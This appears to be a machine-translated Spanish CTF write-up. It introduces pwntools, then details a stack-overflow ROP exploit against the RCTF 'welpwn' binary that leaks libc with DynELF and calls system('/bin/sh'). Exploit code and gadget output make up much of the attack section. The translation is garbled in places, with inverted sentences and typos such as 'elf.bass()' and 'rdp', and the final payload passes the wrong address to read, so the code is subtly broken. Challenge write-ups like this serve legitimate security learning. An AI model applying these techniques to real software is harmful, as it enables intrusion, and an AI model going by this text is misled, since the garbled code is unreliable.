- Autor:CERO-A-ONE
- Fecha: 2021-06-24
1. Comprensión profunda del uso de pwntools.
1.1 módulos comunes de pwntools
- conjunto: montaje y desmontaje
- dynelf: fuga de símbolo remoto
- elf: operación de archivo elf
- gdb: iniciar la depuración de gdb
- shellcraft: generador de código shell
- patrón cíclico: cálculo de caracteres desplazados
- proceso/remoto: interfaz de lectura y escritura
1.2 Montaje y desmontaje
Convierta instrucciones ensambladoras en código de máquina
>>> asm('nop')
'\x90'
Convertir código de máquina en instrucciones ensambladoras
>>> print disasm('90'.decode('hex'))
0: 90 nop
1.3 operaciones de archivos ELF
>>> elf = ELF('/bin/cat')
[*] '/bin/cat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
>>> print hex(elf.bass())
0xb260
>>> print hex(elf.plt['write'])
0x2090
>>> print hex(elf.symbols['write'])
0x2090
>>> print hex(elf.got['write'])
0xb048
>>>
1.4 generador de código shell
>>> print shellcraft.linux.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
>>>
1.5 Interfaz de lectura y escritura
Interfaz de lectura y escritura remota
>>> re = remote("127.0.0.1",21)
[+] Opening connection to 127.0.0.1 on port 21:Done
Imprimir mensajes recibidos
>>> print re.recvline()
220 (vsFTPd 3.0.3)
Interfaz de E/S local
>>> p = process('/bin/sh')
[+] Strating local process '/bin/sh': pid 1223
>>> p.sendling('ifconfig')
>>> p.recvline()
'eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1454\n'
2. bienvenido
2.1 Utilización de ROP
Dado que NX no puede ejecutar shellcode en la pila cuando está activado, podemos organizar una serie de direcciones de retorno y parámetros en la pila, de modo que se puedan realizar múltiples llamadas a funciones y el flujo del programa se pueda controlar mediante la declaración ret. al final de la función, y algunas de las funciones del programa se pueden usar Bloques de código pop/ret (llamados gadgets) para equilibrar la pila
2.2 La diferencia entre el paso de parámetros de 64 bits y 32 bits
- Los parámetros de llamada de función de 32 bits se colocan en la pila de derecha a izquierda
- Llamada de función de 64 bits:
- Cuando hay menos de 7 parámetros, los parámetros se colocan en registros de izquierda a derecha: rdi, rsi, rdx, rcx, r8, r9
- Cuando hay más de 7 parámetros, los primeros 6 son los mismos que antes, pero los siguientes se colocan en la pila de "derecha a izquierda" en orden, que es lo mismo que el ensamblaje de 32 bits.
2.3 Explicación detallada de welpwn
2.3.1 archivo Ver archivo
└─[$] file welpwn [15:32:23]
welpwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a48a707a640bf53d6533992e6d8cd9f6da87f258, not stripped
2.3.2 mecanismo de protección de vista checksec
└─[$] checksec welpwn [15:32:33]
[*] '/home/syc/example/welpwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
2.3.3 Análisis de la AIF
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]
alarm(0xAu);
write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo(&buf, &buf);
return 0;
}
read()
Para leer datos de 1024 bytes, llameecho()
Ver echo
funciones
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
echo
Hay una asignación de bucle en la función y el número de bucles es read
la longitud de los datos leídos por la función.
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
Compruebe que echo
el tamaño del marco de la pila de funciones sea 20 h
push rbp
mov rbp, rsp
sub rsp, 20h
Dado que echo
el tamaño del marco de pila de la función (20h) es mucho menor que la longitud de los datos que la función puede leer (400h), la dirección de retorno de la función guardada en la pila se sobrescribirá read
al realizar la asignación de bucle.echo
2.3.4 Ideas de utilización
main
En la función, el usuario puede ingresar 1024 bytes y echo
copiar la entrada en su propio espacio de pila a través de la función, pero el espacio de pila es muy pequeño, lo que hace posible el desbordamiento de la pila. Dado que el carácter se utiliza como terminador de cadena durante el proceso de copia x00
, si este carácter existe en nuestra carga útil, la copia no se realizará correctamente. x00
Necesitamos construir una cadena ROP para que los personajes definitivamente se incluyan en la carga útil.
Evitar obstáculos:
echo
El marco de la pila es solo 20h, que son 32 bytes, el tamaño de 4 dispositivos pop. Debido a que los parámetros se almacenan en registros, el buf real y s2 son adyacentes en el espacio de almacenamiento. buf pertenece al marco de la pila de la función principal y s2 pertenece a la pila de eco El marco, pop32 bytes, equivale a mover la parte superior de la pila a la pila de la función principal y llamar a la cadena ROP donde existe la función principal.
2.3.5 Integrar ideas y escribir EXP
Encontrar pop4
ROP
└─[$] ROPgadget --binary welpwn --only "pop|ret" [15:45:33]
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd
Unique gadgets found: 13
2.3.6 Explicación detallada de la carga útil
Filtrar información de libc
def leak(address):
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(startAddress)
payload = payload.ljust(1024,"C")
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
dynelf = DynELF(leak,elf=ELF("./welpwn"))
Primero según el tamaño del búfer.
char s2[16]; // [rsp+10h] [rbp-10h]
Luego implemente el byte superpuesto
payload = "A" * 24
Luego borre los bytes R12, R13, R14, R15, un total de 32 bytes
payload += p64(popr12r13r14r15)
Luego implemente la pila y llene los registros con gadgets.
.text:000000000040089A pop rbx
.text:000000000040089B pop rbp
.text:000000000040089C pop r12
.text:000000000040089E pop r13
.text:00000000004008A0 pop r14
.text:00000000004008A2 pop r15
.text:00000000004008A4 retn
payload += p64(pop6address) + p64(0) + p64(1) + p64(writegot) + p64(8) + p64(address)
lograrwrite(1,address,8)
p64(movcalladdress)
.text:0000000000400880 loc_400880: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400880 mov rdx, r13
.text:0000000000400883 mov rsi, r14
.text:0000000000400886 mov edi, r15d
.text:0000000000400889 call qword ptr [r12+rbx*8]
.text:000000000040088D add rbx, 1
.text:0000000000400891 cmp rbx, rbp
.text:0000000000400894 jnz short loc_400880
rdx => 8
rsi => address
edi => 1
add rbx,1 => 1
cmp rbx,rdp
cmp 1,1
Sobrescriba la dirección del remitente a la dirección de inicio
payload += "A" * 56
payload += p64(startAddress)
Completa 1024
payload = payload.ljust(1024,"C")
Llamar a dynelf filtra libc
dynelf = DynELF(leak,elf=ELF("./welpwn"))
transferirsystem("/bin/sh")
systemAddress = dynelf.lookup("system","libc")
print hex(systemAddress)
bssAddress = 0x601070
poprdi = 0x4008a3
print p.recv(1024)
payload = "A" * 24
payload += p64(popr12r13r14r15)
payload += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(address)
payload += p64(movcalladdress)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)
payload = payload.ljust(1024,"C")
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()
implementar llamadaread(0,bassaddr,8)
payload += p64(movcalladdress)
implementar llamadasystem(bssaddr)
payload += "A" * 56
payload += p64(poprdi)
payload += p64(bssAddress)
payload += p64(systemAddress)